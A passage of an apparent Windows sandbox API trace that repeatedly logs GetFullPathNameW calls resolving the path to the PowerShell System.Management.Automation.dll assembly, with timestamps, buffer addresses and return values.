lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.939] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.940] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.941] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b990, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b990, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b990, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.944] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.945] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.945] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.945] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.945] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.945] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b990, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b990, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24b8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.946] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c420, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c430, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.948] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c380, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24be30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0083.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24bee0, lpFilePart=0x0 | out: 